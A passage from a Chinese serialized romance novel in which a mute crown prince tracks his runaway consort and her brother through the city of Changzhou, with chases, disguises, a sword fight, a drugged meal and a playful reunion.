一声清脆的指响,打断了两人的不对付。 李玄尧同二人手语示意。 【你二人带着画像,先将这条街的客栈,都问一遍。】 【低调行事,别太张扬。】 待谷丰和南星带着几人离开,李玄尧走到大敞的轩窗前,看着灯火繁盛的夜市街。 江箐珂最喜欢热闹。 若是她到了长洲,定会来这街巷上逛一逛。 许是抱着碰碰运气的心态,李玄尧决定出去走走看。 ...... 布衣行里,江箐珂带着江止和喜晴买了几件换洗和乔装用的成衣。 走出店门时,身侧的喜晴却突然顿住了脚步。 江箐珂停下看她。 见喜晴侧头瞧着不远处,便好奇道:“怎么了?” 似是烈酒的后劲儿上来了,喜晴醉眼迷离地晃了晃头,转而看着江箐珂道:“没什么,奴婢定是喝多眼花了,怎么看到个男的,就觉得像谷丰呢?” “在哪里?” 江止和江箐珂异口同声。 二人警惕地朝着喜晴望过的方向瞧去。 身材健壮高大的男子倒是有几个,但并未看到谷丰这个人。 江箐珂暗暗松了一口气,但同时心中也生出几分落寞来。 挺好! 没派人来追她、寻她。 连她预想的悬赏追捕告示都没见到一张。 还省得她提心吊胆了呢。 李玄尧这种狗太子,弃了就对了。 喜晴因为醉酒,抱着买好的东西,先行回了客栈。 双手环抱在胸前,江箐珂走在江止身侧,心不在焉地东瞧瞧、西望望。 走着走着,她面色低沉,自己生起闷气来。 她逃归逃,躲归躲,可李玄尧也不能一点动静都没有吧? 猫猫狗狗死了,那都还得伤心哭一场呢。 他就这么静悄悄地任她走了? “想什么呢?” “气得嘴巴都能挂油瓶了。” 手臂搭在江箐珂的肩上,江止将她往自己身侧带了带。 江箐珂气不顺道:“在可惜阿兄的那块军令牌。” 江止一眼便瞧出了江箐珂的心思。 “有什么好可惜的。” 他拖着声调道:“一块军令牌,既换了你余生自由和顺心如意,又让你看清一个人,老子觉得挺值的。” “既然没人来追我们、抓我们,那接下来,你该想的便是如何吃好玩好。” “人就要懂得及时止损,别把精力浪费在不值当的人和事儿上。” 江止这人平时说话虽然挺不着调的,可有时冷不丁冒出的几句,听起来却有甚有道理。 烦闷的心情瞬间就淡了很多。 是啊,都逃出来了,还想着李玄尧那个旧人作甚? 步子变得轻快起来,入目的事物也都多了些趣味。 江箐珂跟着江止一会儿看看胸口碎大石,一会儿瞧瞧巷口卖壮阳药的,一会儿又跑去拿着纸网捞小鱼...... 两人玩得不亦乐乎。 待逛到一个傩面摊子,江箐珂忍不住停下了步子。 目光落在那副狐狸面具上,她走过去拿起。 狭长的狐狸眼,是再熟悉不过的线条。 江箐珂突然发现,想忘掉一个人似乎很难。 总会有一件微不足道的小事,勾着你想起那个人。 这才忘了多大一会儿,就又因为一个面具想起了那个狗太子。 “喜欢就买一个。”江止在旁言道。 放下那狐狸面具,江箐珂捡了两个别的。 一个给江止,一个给自己。 两个人戴着面具,继续往前逛去,留下那狐狸面具静静地躺在摊位上,直到一只修长骨感的手将它再次拿起。 ..... 茶楼里,琵琶声声,如玉珠坠盘,清越铮亮,时而又低回婉转。 江箐珂与江止点茶落座,听起了琵琶小调。 也不知听了多久,一名宾客在店小二的引领下,于他们邻桌落座。 江箐珂好信儿地瞧了一眼。 绛紫色长袍,玉簪束发,透着矜贵清冷之气。 巧的是,那公子也戴着面具。 火狐狸,白底红眼,眉间还画着红艳艳的三道火。 正是她刚刚舍弃没买的狐狸面具。 一股熟悉的气息迎面扑来,看得江箐珂心跳漏了个节拍,恍了片刻的神。 许是她的凝视太过明目张胆,引来了对方的注意。 那公子缓缓侧头,隔着面具,看向江箐珂。 狭长的眼缝儿,让人看不清面具下的那双眼。 可目光对视的那刹那,江箐珂却没由来地感到心虚。 泰然自若地收回视线,她继续听着曲子。 可不知为何,就是感到浑身不自在。 状似无意地再转头瞧去,江箐珂留意到站在那公子身后的两人。 面具下美眸圆睁,一颗心瞬间就跳到了嗓子眼儿。 东宫的黑甲卫。 虽不记得名字,但那两张脸,江箐珂却是认得的。 不仅脸认得,喜晴还扒过那两人的衣服,亮胸给她看过呢。 目光移至那坐着听曲的公子,随后又看向那随着曲调,在桌面上轻轻敲点的手指。 不是夜颜,还是能是谁? 难怪乍一看到他时,会有种似曾相识的熟悉感。 可李玄尧怎么亲自来了长洲? 江箐珂立马转过头来。 她开始惴惴不安,并暗中庆幸自己和江止都戴了面具。 心情既忐忑,又欣慰。 但忐忑占大头。 为了不引起李玄尧的注意,江箐珂并没有急着拉江止走。 “阿兄。” 隔着面具,她偏头凑到江止的耳边,将声音压得极低。 “我说你听,千万别偏头看。” “旁桌那公子两名随从,是东宫黑甲卫。” “那公子十有八九......是他。” 江止心头一紧,收起平日里吊儿郎当的做派,端正坐好。 他下意识地抓紧江箐珂的手,轻声言语。 “别慌。” “等这曲听完,咱们就撤。” 第129章 大意了 不待一曲终了,茶楼掌柜突然走到台上。 琵琶声戛然而止,歌女也收了歌喉。 只见那掌柜一脸歉意朝着台下茶客拱手作揖。 “各位客官,真是对不住了。” 掌柜抬手恭恭敬敬地指向李玄尧,扬声陪笑道:“这位公子今夜已包下全场,诸位的茶资银钱皆由他一并相付,还请诸位客官赏个面子,给这位贵公子腾个清静。” 闻言,众位茶客纷纷起身,朝李玄尧拱手道谢。 江箐珂和江止混在其中,装模作样。 随着茶客们陆续离开,江止握紧江箐珂的手,姿态松弛而自然地顺着人群往外走。 谁知茶楼的掌柜却碎步跑来,拦住两人的去路。 “二位客官请留步。” “同带面具于一处饮茶听曲,想是有缘之人,那位公子啊,想请二位一起坐下喝茶听曲呢。” 江止冷声拒绝。 “我二人与那位公子素昧平生,岂能冒受此番好意。” “心意领了,茶就不喝了。” “还请掌柜的代为传达。” 言罢,江止拉着江箐珂就要往外面跑,却被两名黑甲卫提着剑,从茶馆门外逼了回来。 隔着面具,江止咬字轻懒地笑问。 “几个意思?” “这长洲城还有强行请陌生人喝茶听曲的规矩?” 两名黑甲卫也不理会,双剑交叉直接架在江止的脖子上,逼得两人只能乖乖走到茶桌前落座。 琵琶声起,歌女开始吟唱。 端坐在那里许久的李玄尧终于起身,踱步至江箐珂的身前,搭边倚坐在茶桌上。 一双狐狸眼觑了下那十指紧扣的两只手,李玄尧目光回正,与江箐珂隔着两层面具对视。 江箐珂想不明白,她和江止都戴着面具,为何会引起李玄尧的注意。 他到底是如何认出自己的? 正当她纠结要不要捅破窗户纸时,李玄尧伸手在她的头顶扰动了一下,那盘绕的青丝便如瀑般垂落散开。 他拿着那枚祥云黑檀簪子在她眼前晃了晃。 江箐珂后知后觉。 原来坏事儿的是簪子?! 大,大......大意了。 “有话好好说,何必大动干戈呢。” 江止率先开了口。 他抬手欲要推开脖子上的两把剑,可那两名黑甲卫却施压用力,锋锐的剑刃在他的侧颈上愣是压割出两道血痕来。 江箐珂见状,立马摘下面具。 她就跟个没事儿人似的,小脸扬起,红唇贝齿,目光清凌凌地看着李玄尧笑。 “殿下真厉害啊,这么快就找到妾身了呀。” 李玄尧倚坐在茶桌上,歪头看着她沉默。 唯有那一身低沉冷肃的气场,在大肆言说着他的愤怒、幽怨和焦灼。 “妾身知错了。” “出逃之事,全是妾身怂恿阿兄帮忙的。” 江箐珂单手拽着李玄尧的衣袖,摆出一副愧疚反省的表情,开始为江止求情。 “殿下放阿兄走,咱俩有话好好说。” “行吗?” 她这边认错求饶,另一边手指蜷动,不动声色地在江止手背上勾动了几下。 江止收到暗示,终于松开了江箐珂的手。 江箐珂缓缓起身,从李玄尧的手中抽回那枚簪子。 她从容自如,不急不慌地将长发绾起束好,并笑吟吟地哄着李玄尧。 “我乖乖跟殿下回去,只要殿下不......” 就在此刻,江止双腿迅速抬起,猛力踹开李玄尧搭坐的茶桌,同时身子借力后倾,带着椅子向后倒去,堪堪躲过从他脸上方横扫而过的两道寒光。 江箐珂亦是眼疾手快,趁机握住一名黑甲卫握剑的手,将其反扣在那人的后背,夺走他手中长剑的同时,一脚把人踹向朝她而来的李玄尧,移步挪到江止身侧。 兄妹二人配合得相当默契。 只是一刹那间而已,动作行云流水,精准而敏捷。 且彼此时机也拿捏得刚刚好。 江止翻身从地上跃起,身子一旋,操起椅子就朝李玄尧和那名黑甲卫砸去。 江箐珂则挥剑替江止挡住了另一名黑甲卫的攻击。 “快跑!” 江止不恋战,拉着江箐珂就要往茶馆外跑。 李玄尧自是不肯轻易放过他二人,夺过另一名黑甲卫的剑,踩桌腾空,在下落时,径直朝江止刺来。 江箐珂咬牙抿唇,本能挥剑保护江止,硬着头皮受了李玄尧这一剑。 偏偏李玄尧力气大得很,且未能及时收力。 剑身相撞,“吭”的一声,火花飞溅,震得江箐珂虎口酸麻的同时,也将那把剑身生生砍出一个豁口。 剑从手中脱落,江箐珂捂着那只手疼得呲牙咧嘴。 李玄尧落脚怔愣,收剑的同时,紧张上前。 江止则趁着他心思都在江箐珂身上时,操起身边的椅子再次朝李玄尧砸去。 李玄尧攥拳挥臂格挡,木屑飞溅,椅子“嘭”的一下在半空散了架。 几招过后,江止不是掀桌子,就是扔椅子,阻挡李玄尧和那两名黑甲卫追赶的步子,最后拉着江箐珂成功跑出了那家茶馆。 在跑出门前,江箐珂回头望了眼那张狐狸面。 除了那两名黑甲卫外,李玄尧站在原处不再追赶,只是隔着那两条缝隙望着她,周身都散发着游刃有余的沉稳气场,仿若她江箐珂根本逃不出他的五指山。 到了街市上,两人一路狂奔,哪儿人多往哪儿跑。 江箐珂一边跟着江止跑,一边仰面笑得恣意。 江止不解,扬声骂道:“笑个屁,这功夫你都能笑得出来?” 江箐珂气息不平地笑道:“多刺激!” “江箐珂,你是不是有病。” 江止骂骂咧咧的同时,回头看身后的追兵。 伴随着一声声口哨暗号,一道道身影从四面八方出现,追兵瞬间从两名黑甲卫变成了十余名。 以少敌多这种事,不到生死关头,江止才不想装孙子逞英雄。 他硬着头皮,只顾着拉江箐珂跑。 穿过人声嘈杂的赌坊,闯进灯红酒绿的青楼,跑过热闹的异域酒肆,跃过仅一船可过的河渠...... 迎着风,满满的空气都灌进要炸裂的肺腔。 虽呼吸艰难,却心血澎湃。 一瞬间,两人仿若回到了儿时,手牵着手,在西延城外的山野间恣意地撒欢儿奔跑,于急促的呼吸间,感受大周山河的磅礴,目睹长烟落日的豪迈。 江止就这么抓着江箐珂的手,从繁华喧嚣的闹市,七转八拐,跑进幽暗岑寂的居民巷。 可难缠的黑甲卫还是没能甩开。 他们一路紧追不舍,跑得比西延的猎狗还要快。 借着晦暗的夜色,江止拉着江箐珂躲进一家院墙外堆放的草堆里。 待杂乱急促的脚步声临近,江止伸手捂住江箐珂的嘴,自己也屏住呼吸。 “是这边儿吗?” “看着像是跑到这巷子里了。” 几名黑甲卫气喘吁吁地说着话。 “也太能跑了。” “太子妃跟个兔子似的,跑得蹭蹭快,从没见过这么能跑的女子。” 另有人接话道:“若是普通女子,咱们何至于跟着殿下跑到长洲来。” 似是有人留意到墙角的干草堆,脚步声一点点朝江箐珂和江止靠近。 第130章 不上当 就在两人已经做好拼命一搏时,另有一名黑甲卫突然开了口。 “行了,别追了。” “黑灯瞎火的,也不知道跑哪儿去了。” “殿下的安危最重要,咱们还是赶快回去吧。” “左右城门和渡口都关着,太子妃今夜铁定逃不出长洲城。” 可草垛前的那人却不死心。 拿着未出鞘的长剑,挑了几下草垛子。 躲在黑暗中的两人,透过杂草的缝隙,眼见着只差几寸的距离,遮挡他们的那层杂草就要被挑开。 但凡是在白天,两人都藏不了这么久。 好在巷子里无灯,夜色又浓,且江箐珂和江止又是一身黑衣打扮,这才不那么显眼。 两人双手十指紧扣,能清晰地感受到彼此指骨的粗细和掌温。 被震麻的虎口也因那手温而舒缓了许多。 而掌心都是汗濡濡的,分不清是谁出的汗,又是谁出得多。 江箐珂就像儿时一样,无比依赖这个时常会离经叛道、不羁叛逆的江家兄长。 好像有他在,父亲不要她都不怕,天塌下来也不惧。 呼吸在此刻凝滞,周遭的世界似乎都慢了下来,让人可以清晰地看清剑鞘挑开杂草的挥动轨迹,甚至可以数清那剩余杂草的根数。 眼见着剑鞘从鼻尖擦过,江止和江箐珂仍是一动不动,想赌一把夜够黑。 就差一点,旁边突然传来催促的声音。 “挑几下没人就走吧。” “别忘了出宫时,皇上的命令。” “保护殿下为主,寻太子妃为辅。” 一触即发的厮打和危机终于远去,直到脚步声彻底消失,江箐珂和江止才恢复呼吸。 汗水涔涔,人跟雨淋了似的,双腿也像灌了铅。 跑得精疲力尽的两人干脆躺在草垛里,望着夜空星光点点,是再也不想动一下。 江箐珂找着北斗七星,找着找着就又笑了。 “阿兄,你不觉得挺有意思吗?” “我跑,他追,我再跑,他再追。” “然后追我追到天涯海角,我就......跟他在天涯海角过一辈子。” 江止偏头看她。 近在眼前的俏人儿,仿若星辰坠入了她的眼底,在幽暗的角落里,一双眼睛仍泛着细碎的光,引人视线沉沦。 他咂舌唏嘘,懒声揶揄。 “都说男子是娶了媳妇儿忘了娘,你们女子也没好到哪里去。” “你跟他在天涯海角过一辈子,将我这个陪你逃到天涯海角的人置于何处?” 江箐珂也偏头看向江止。 然后,笑嘻嘻道:“一起过啊,我和殿下一起给你送终。” 说完这话,她才发现两人的脸贴得有点近。 近得只要江止再往前挪半拳的位置,嘴和嘴就要碰上了。 江止一瞬不瞬地看着她,目光深邃,表情严肃。 也不知是否因为那句送终的玩笑话而在生她的气。 炙热湿热的呼吸扑在脸上,已懂男女之事的江箐珂再不像以前一样,大咧咧的不以为然,对那种事毫不开窍。 她想阿兄许是浪荡风流惯了,且又是从小长大的一家人,自是不在意这细枝末节。 可她不行。 江箐珂立刻转过头来,挪远了一些。 “松手吧,手心都是汗。” 她试图甩开江止的手,江止却攥得愈发地紧。 “攥着,万一太子的人杀个回马枪,阿兄也好拉着你往天涯海角跑。” 两人平缓奔跑后的喘息,安静了好一瞬。 后江止突然问:“那簪子是太子送你的?” “嗯。” “不是。”江止腾地坐起身来,颇为无语地训斥道,“你是买不起簪子,还是怎么着,出逃还带他送的?” “这不是自己往树上撞呢嘛。” 江箐珂也跟着撑身坐起,撅嘴委屈。 “谁知道他会追到长洲,还这么快,还这么巧。” 江止气不顺道:“要不是那破簪子,咱俩今晚至于累成狗吗?明天就把那破簪子给我撇了。” “我不。” 江箐珂态度坚决道:“这是念想,我得留着。” 不想再说簪子的事儿,她立马扯开话题问:“那咱们现在怎么办,回客栈?” 江止不免担忧。 “就是不知道太子有没有查到咱们的客栈。” 江箐珂出主意道:“那我们先想办法换个装扮,去客栈门前探探风?” “行。” 两人一拍即合。 ...... 酒意使然,喜晴回到客房后,便躺在罗汉榻上小憩。 她打算休息片刻,待江箐珂和江止回来,再服侍他二人洗漱。 睡得正沉时,却被叩门声吵醒。 心想着是自家小姐和大公子回来了,便立马起身下榻,赶去开门。 谁知门打开的瞬间,看到的竟是另一张脸。 喜晴晃了晃头,觉得是自己醉意还没退。 杏眼大睁了一圈,她探着脖子又看了看眼前的人。 只见谷丰一手提着剑,一手拿着卷轴,露着一排大白牙,正看着她傻呵呵地笑。 “喜喜喜,喜晴。” “可可可,可下,找,找找找到你了。” 醉意登时退了个干净。 赶在谷丰要迈腿进来时,喜晴哐地一下,就将房门关上,差点就拍到谷丰的脸上。 她背抵房门,整理混乱的思绪。 一门之隔,谷丰抬手轻叩,扬声磕巴道:“你你你,你跑,跑跑,跑不了了。” “殿殿殿,殿下,已已已经来了。” “等,等我,回回回去,禀......” 幸亏谷丰的磕巴,喜晴有了思考判断的时间。 一双圆溜溜的眼睛左右转了转,喜晴转身开门,一把将谷丰拉进客房内,房门上闩紧闭。 第一次与喜晴共处一室,谷丰突然拘谨害羞起来。 他站在那里,挠了挠头,看着喜晴傻笑。 “太太太,太子妃呢?” 喜晴避而不答,却一脸殷勤地凑上前去,问谷丰:“这客栈,就你一个人来的?” 谷丰点头。 “殿下还不知道?” 谷丰又点头。 不知道,那就还有机会。 “谷丰。” 喜晴伸手拍了拍谷丰的肩头,似是为他掸灰,然后又替理了下略微凌乱的衣襟。 她莞尔一笑,一双杏眼也跟着晶晶亮。 “这在宫里时不觉得,出来后,几日不见你,还怪想你的。” “你可喜欢我?” 拿剑的手用力敲了敲胸膛,谷丰憨厚且真诚地点头。 “喜......” 他紧着鼻子,努力一口气说出喜欢二字,可还是在大喘气后才勉强吐出一个字。 “欢!” “那你跟我们一起走吧,你跟我走,我就嫁你。”喜晴诱惑道。 她想着好歹把今晚糊弄过去,只要太子殿下不知道他们在这个客栈,就能为江箐珂和江止争取一点时间。 谷丰先是一愣,挠了挠头,似有为难地摇了下头。 然后他指着喜晴,表情严肃。 “你你你你,你这是,美美美,美人计!” “是策策策策......策反!” 他义愤填膺道:“我我我,不,不,不上当。” 第131章 非也非也 三人所宿的那间客栈前,并无任何异常。 既不见那张狐狸面,也不见东宫黑甲卫。 可江箐珂和江止躲在暗处,却始终不敢进去。 因为他们住的那间客房,窗户缝里夹了根红发带。 像是喜晴给他们的暗号。 观望了良久,窗户被人支起,发带掉落,有人探头往客栈外面瞧了瞧。 由于角度的问题,江箐珂并未看清那个人。 只觉得身子挺壮实,是个男的。 如此看来,喜晴定是落在了李玄尧的手里。 客栈是回不成了,其他的客栈也不敢投宿,只能找个地方对付一夜。 “银票都带在身上了?”江止问。 江箐珂拍了拍胸口。 “每天都带在身上,都藏在里衣缝的那个怀兜里了。” “你的呢?” 江止也拍了拍胸口。 江箐珂叹气愁道:“就是喜晴和那两匹马,还有我的嫁妆和刺龙鞭,阿兄的长枪,不知道怎么弄出来好。” 江止倒是不甚在意。 “明日看情况再说。” 翌日,天光大亮。 江箐珂和江止从草堆里醒来。 一个是叫花子扮相。 筷子盘束的头发,故意弄得凌乱,一张小脸涂了炭灰,衣服也撕成一条一条的,看起来破破烂烂的。 而露出的纤细脚踝处,亦是用泥土覆盖了原本的白皙娇嫩,抹得脏兮兮的。 另一个则是留着胡子的算命先生。 衣服是江止昨夜从一位算命先生那里买来的,灰青色的道袍已经洗得发白,算命幌子也像是饱经风霜的破旧样子。 倒是沾上的胡子正好盖住了江止下颌上的那道疤。 为了不引人注意,两人都是分开走的。 江止在前面半翻白眼扮算命瞎子,江箐珂则跟在不远处当叫花子。 途经肉饼铺,江止买了几个馅儿饼,当做“施舍”给了江箐珂两张。 后来,两人又挤到人群中,围着衙门前的告示看。 告示上除了通知长洲要封城门和渡口外,还张贴了江止的通缉令。 长洲百姓和各地商客们围看着江止的画像,开始评头论足。 “长得人模人样的,没想到是个穷凶极恶之徒。” “看他脸上那道疤,一看就不像什么好人。” “好人能贴这上面来?” ...... 隔着不近也不远的距离,“算命瞎子”看向江箐珂,狠狠白了她一眼。 这一切,还不是拜她所赐。 手中的算命幌子晃了晃,江止翻着白眼,一边装模作样地掐指算着什么,一边替自己辩解。 “非也非也。” “此人乃白虎星转世,未来定是名震一方的武将之才。” “怕是蒙受了什么冤屈,方才落得官府缉拿的境地。” 一个膀大腰圆、提刀卖肉的女子凑到江止身侧。 她虽是压着声音问的,可嗓门大得江箐珂在这边儿都听得一清二楚。 “道长算得准不准?” 江止装腔作势:“心诚则灵。” 那卖肉的女子便道:“这人若真能当将军,那俺把他提回家当赘婿藏起来,以后俺岂不是将军夫人?” “来来,道长,快给俺算算,看看俺有没有当将军夫人的命。” 江止的白眼翻得愈发地像那么回事儿了。 他拿着幌子,留了句话给那女子,转身便推推搡搡地挤出了人群。 “当将军夫人的命没有,当太子妃的命倒是有。” ...... 城出不去了,船坐不了。 喜晴和那两匹爱马,以及江箐珂的嫁妆首饰,也都落在了李玄尧的手里。 江止和江箐珂被困在了长洲城,暂时也想不到什么两全其美的脱身法子。 除非弃喜晴和两匹马而去,顺着贯穿长洲城的河渠游出去。 偏偏江箐珂不会凫水。 且西延军队里的规矩就是不得轻易抛弃同袍。 江止在那客栈前摆了算命摊子,偶有求卦解惑之人,他就忽悠几句。 江箐珂则跟几个小乞丐坐在不远处,不到半天的功夫,就跟那些小孩儿混了个打狗棒。 两人在客栈门前守了一整日,也没见喜晴或者李玄尧的人从里面出来。 直到黄昏时分,这才见到谷丰一副马夫装扮,手里捧着一个木箱子从客栈里走了出来。 江箐珂和江止遥遥对视,彼此点了下头。 随后,一个拄着打狗棒起身,一个开始收算命摊子。 一前一后,像毫不相干的两个人,跟在谷丰身后,来到了归宝阁。 谷丰进去后没多久就出来了,然后又朝着那客栈的方向而去。 而归宝阁的典当先生则搬出桌椅,另有小厮跟在旁侧叫卖。 “瞧一瞧,看一看,今日归宝阁有珍物开价典卖,还请诸位上前一观!” 好信儿的老百姓陆陆续续围聚在归宝阁的门前。 而就在归宝阁的不远处,则停着一辆低调的马车。 马车的小窗开着,里面的人正观望着这边的情况。 当典卖的第一个物件从箱子里拿出,江箐珂踮脚瞧望。 竟是她嫁妆里的一枚南珠步摇。 那可是母亲留给她的。 儿时零星的记忆碎片里,母亲最爱戴的就是那支南珠步摇。 母亲低头跟自己说话或者教她吟诗时,那步摇总是在她眼前晃呀晃的,惹得她时常伸出小手去抓。 明明价值百两银子的南珠步摇,偏偏归宝阁的起卖价才要几十文而已。 眼看着周围的人雀雀欲试地出价,都想拍下那个宝贝,江箐珂急得红了眼。 垂在身侧的手紧攥成拳,她恨不得用手中的打狗棒狠狠揍李玄尧一顿。 竟用这么卑鄙的法子,来逼她和江止现身。 最终,步摇被一位公子拍下。 那公子被请到了归宝阁里去交银钱,过了好半晌才出来。 步摇卖完了,归宝阁的小厮又拿出点翠头面。 那也是江箐珂母亲留给她的。 她捂着心口,心痛欲裂,嘴里恨恨地骂着。 “卑鄙!” “无耻!” 秉持着眼不见心不烦的想法,她提着打狗棒悻悻而去。 江止则拎着那算卦摆摊的行头,亦步亦趋地跟着。 跟着虽跟着,却也是一步三回头,惦念着江箐珂的那几件宝贝。 可谁知道那归宝阁里有什么人,现在出头,无疑是自投罗网。 街巷墙角的一处,江箐珂又坐在一堆乞丐旁。 这时,一个乞丐老汉斜眼打量了她一番。 “外地来的乞丐吧?” 江箐珂看过去,爱答不理道:“是啊,你怎么知道?” “脏了吧唧的,一点都不像我们长洲的乞丐。” 不是,说谁脏呢? 都是露宿街头的乞丐,有什么资格说她脏。 只听那乞丐老汉又鄙视她道:“我们长洲最不缺的就是水,就算当乞丐,那也得把自己收拾得干干净净的。你要是爱干净,随便找个河渠洗洗,也不至于这么脏吧。” “你瞅瞅你这头发,再瞅瞅你这脸儿,还有那脚脖子。” “啧啧啧,你们这些外地乞丐,脏得呦,看了让人倒胃口。” “话这么多......”,江箐珂咬牙切齿,黑着小脸威吓对方,“找抽是不是?” 乞丐老汉频频咂舌,一脸嫌弃地起身换了个地儿。 可经过刚才此事,江箐珂这才注意到长洲城的乞丐确实没一个像她这么脏的。 晒黑的是有,衣服破破烂烂的也有,但头发都梳得利落,脸上也都洗得干干净净。 她坐在一群乞丐堆里,反倒成了那个最显眼的。 适时街市上的一家包子铺开始做布施。 “今天有贵人行善积功德,给街头乞儿出银子买包子吃呢,大家快来啊。” 乞丐们闻声纷纷去抢。 江箐珂若是想吃,自是有银子买,便没凑这个热闹。 可没多久,那包子铺的老板娘拿了两个包子过了,甚是热情地塞给了江箐珂。 江箐珂虽是道了谢,可警惕心使然,起初并没有吃。 后来看其他乞丐吃了那家的包子也没什么问题,闲着也是闲着,便啃起了包子。 再看江止那边儿,此时又接了个算卦的生意。 他翻着白眼,掐指算卦的样子特别滑稽。 江箐珂一边吃着包子,一边望着他笑。 可两个大包子吃过没多久,她便开始感动头沉得很,还晕乎乎的。 察觉到不对劲,江箐珂起身要去找江止。 脚步虚浮地走了三步,她便扑通倒在了地上。 一辆马车随即在她身侧停下,恰好挡住了江止的视线。 在江箐珂仅存最后一丝清明时,一团模糊的绛紫色在她眼前虚晃...... 第132章 那要看你乖不乖 昏睡之时,江箐珂怪梦频生。 她梦到自己成了花果山的一个母猴子,泡在温泉里悠哉悠哉。 后来,不知从哪儿又冒出个公猴子,特别殷勤地给她搓背、洗澡。 可搓着搓着,就开始对她手里的桃子虎视眈眈、蠢蠢欲动、图谋不轨。 一怒之下,她扇了那公猴子一巴掌,还狠狠踹了他一脚。 梦境随即跳转,江箐珂一下子竟回到了金陵祖母家。 她跟阿兄于夜深人静之时,偷偷溜出了白府。 梦里稀里糊涂的,一切都很莫名其妙,自是不知是要去做什么。 茫然走了几步,周遭场景瞬变成另一座宅院。 阿兄突然没了踪影,仅剩她站在那死气沉沉的院子里。 周遭幽暗,连盏照亮的灯都没有,夜幕之下,一切都显得那么的诡异而阴森。 粘稠的液体流至她的脚边,她抬眼看向周围,目光所及之处皆是尸体,惨烈无比。 她转身要跑,却瞧见几个黑衣人提着血淋淋的剑,围护着一个头戴帷帽的黑衣少年,朝她一步步逼近。 夜黑风高,杀气腾腾。 心生恐惧之时,场景突然跳换。 一只冷白的手死死地钳住她的喉咙,一点点地施加力度,掐得她几近要窒息而亡。 垂死挣扎之际,她从腰间掏出匕首,泄恨般地在那帷帽少年的胸前,出其不意地狠狠地刺下一刀,并握着匕首,向下斜割。 对方低头看向胸口,对她的突袭和狠绝感到惊愕。 趁机,她拔出匕首,又补了一刀。 骨肉被刺破划割的触感顺着匕首传来,生动真实无比,让人心惊肉跳,也惊得江箐珂从梦中醒来。 她睁着眼躺在那里缓了好一会儿,心神才慢慢恢复平静,这才察觉到身侧的那道目光。 此时,李玄尧单手撑头,侧卧在她身旁,正一瞬不瞬地瞧着她。 江箐珂立马坐起,下意识掀开被子瞧了瞧。 那身乞丐衣服早已不见,一身中衣和双手双脚也都是干干净净的。 不用问也知道,定是被李玄尧给扒光洗净了。 蹙着眉头,江箐珂恼怒质问:“你不会趁我昏睡时,对我做了什么吧?” 抬手指了指自己右侧的脸,李玄尧挑眉撇嘴,神色似是委屈又无奈。 江箐珂细瞧了一眼,他的右脸有几处泛红微肿,乍一看倒是像她的手指印。 这下倒是跟那怪梦对上了。 刚逃没几天,就被活捉。 还是因为两个肉包子,这要传到江箐瑶的耳朵里,不得被她笑话死? 江箐珂多多少少有点没面子。 她斜眼没好气地瞪了李玄尧一眼。 京城的鸡贼,果然不好对付。 床榻之上,一个侧卧,一个抱着被子窝在角落里坐着。 两人相视无言。 李玄尧是什么心情,江箐珂不清楚,但她自己是挺复杂的。 愧疚、不甘、羞愤、懊恼,还有…… 明明想爬过去亲亲抱抱,却又不得不隐忍的矛盾。 要逃的,是她。 要快刀斩乱麻的,也是她。 这做人,不能又当又立,又要还要啊。 江箐珂紧抱着被子克制。 爬过去,那她就破功输了。 不争包子争口气。 过了半晌,李玄尧先有了动作。 他拽了拽被角,又拍了下他身侧,示意江箐珂躺过去。 江箐珂冷着脸,偏头以示拒绝。 “我和太子殿下不合适。” “我要的是一生一世一双人,你要的是后宫佳丽三千人。” “咱俩怎么想都不搭调,趁早散了,对你我都好,省得以后互相落埋怨,恨生恨死的。” “我这人脑子也不如你们京城的鸡贼灵光,也不喜欢花心思钩心斗角。” “而且,你两个肉包子就能把我撂倒,若我继续留在宫里,不知哪天,不知何时,就要被你其他的女人给害死了。” 江箐珂撅嘴委屈。 “比起你,还是我的命比较重要。” “再说了,两万重骑的军令牌都给你了,我也算仁至义尽了。” 闻言,李玄尧从怀里掏出那枚军令牌,扔还给了江箐珂。 江箐珂拧眉责怪。 “怎么着,两万重骑都不够你用的,还真想要我们江家五十万大军啊?” “我劝你做人不要太贪心。” 说到“贪心”二字,江箐珂想起了她藏在身上的银票。 “我之前穿在身上的里衣呢?” 李玄尧唇角得意一勾,又从怀兜里掏出一沓子银票来,故意在江箐珂的眼前甩了甩。 那可是她一大半的嫁妆钱啊。 竟然落到他手里了。 江箐珂欲哭无泪。 她伸手要去抢,李玄尧却动作极快地将其塞回了怀兜里。 然后指着嘴,示意江箐珂亲亲他。 “你卖我嫁妆,又贪我银子,还好意思让我亲你?” “皮痒欠抽是吧?” “我鞭子呢,还我鞭子。” 江箐珂扯开被子就要下床,要去寻她的鞭子。 结果刚抬脚迈步,就被脚腕上的链子给绊倒。 身子失去平衡,她直接摔在了李玄尧的身上。 李玄尧大手一抬,轻轻松松地就把江箐珂揽进怀里,随即压在身下。 “你竟然用铁链拴我?” 江箐珂气得挥拳捶打李玄尧的胸口。 可她那力气和拳头,于李玄尧来说,不痛不痒的,反倒像是在调情。 他俯首要一亲芳泽,江箐珂却收回拳头,死死地捂住了嘴。 掌心之下,她声音略有些含糊。 “我阿兄和喜晴呢?” “你要是敢动他们一根头发丝,我会恨你一辈子的。” 一双异瞳噙着得意,像瞧着美味的猎物似的瞧着她。 亲不到唇,他就吻她的额头、眼睛和面颊。 两瓣温软慢慢移至她的耳边,轻咬几下耳垂后,李玄尧在江箐珂耳边努力发声。 破碎的声音粗砺沙哑,低沉轻浅,很难听得真切。 江箐珂只隐约听到几个字,连到一起,大致晓得那是一句威胁。 【那要看你乖不乖。】 第133章 今朝有酒今朝醉 “夜颜,你真是出息了啊?!” 江箐珂咬着后槽牙,怒目瞪着李玄尧。 “都敢威胁我了?” 话落,她冷脸躺在那里,一副摆烂等死的模样。 “那你可看错人了。” “我们江家人虽是美色可淫,却是威武不屈。” “你要是敢弄伤弄残他们,我这辈子都不会原谅你。” “要是敢弄死他们,我拼了这条命,也会替他们报仇。” “你自己看着办。” 双臂在她的头两侧撑起,李玄尧想了想,跪直上身,眼巴巴地看着江箐珂打起了手语。 【我丑吗?】 江箐珂仍捂着嘴防他,“那自是不丑。” 于是,李玄尧开始脱衣服,露出宽肩窄腰和肌肉虬结的胸膛、臂膀,然后双手比划,口型并用地问她。 【那算美色吗?】 意料之外的话,出乎意料的举动,瞬间就让床榻上的氛围微妙起来。 手心下的花唇用力紧抿。 可那该死的笑意却像藤蔓植物一样,迅速攀上眼角,坠得江箐珂眉眼弯弯。 李玄尧似是也看出了她眼底的笑,俯下身来,双手捧着她的脸,近距离凝视间,一双异瞳也在用笑意温柔地包裹着她。 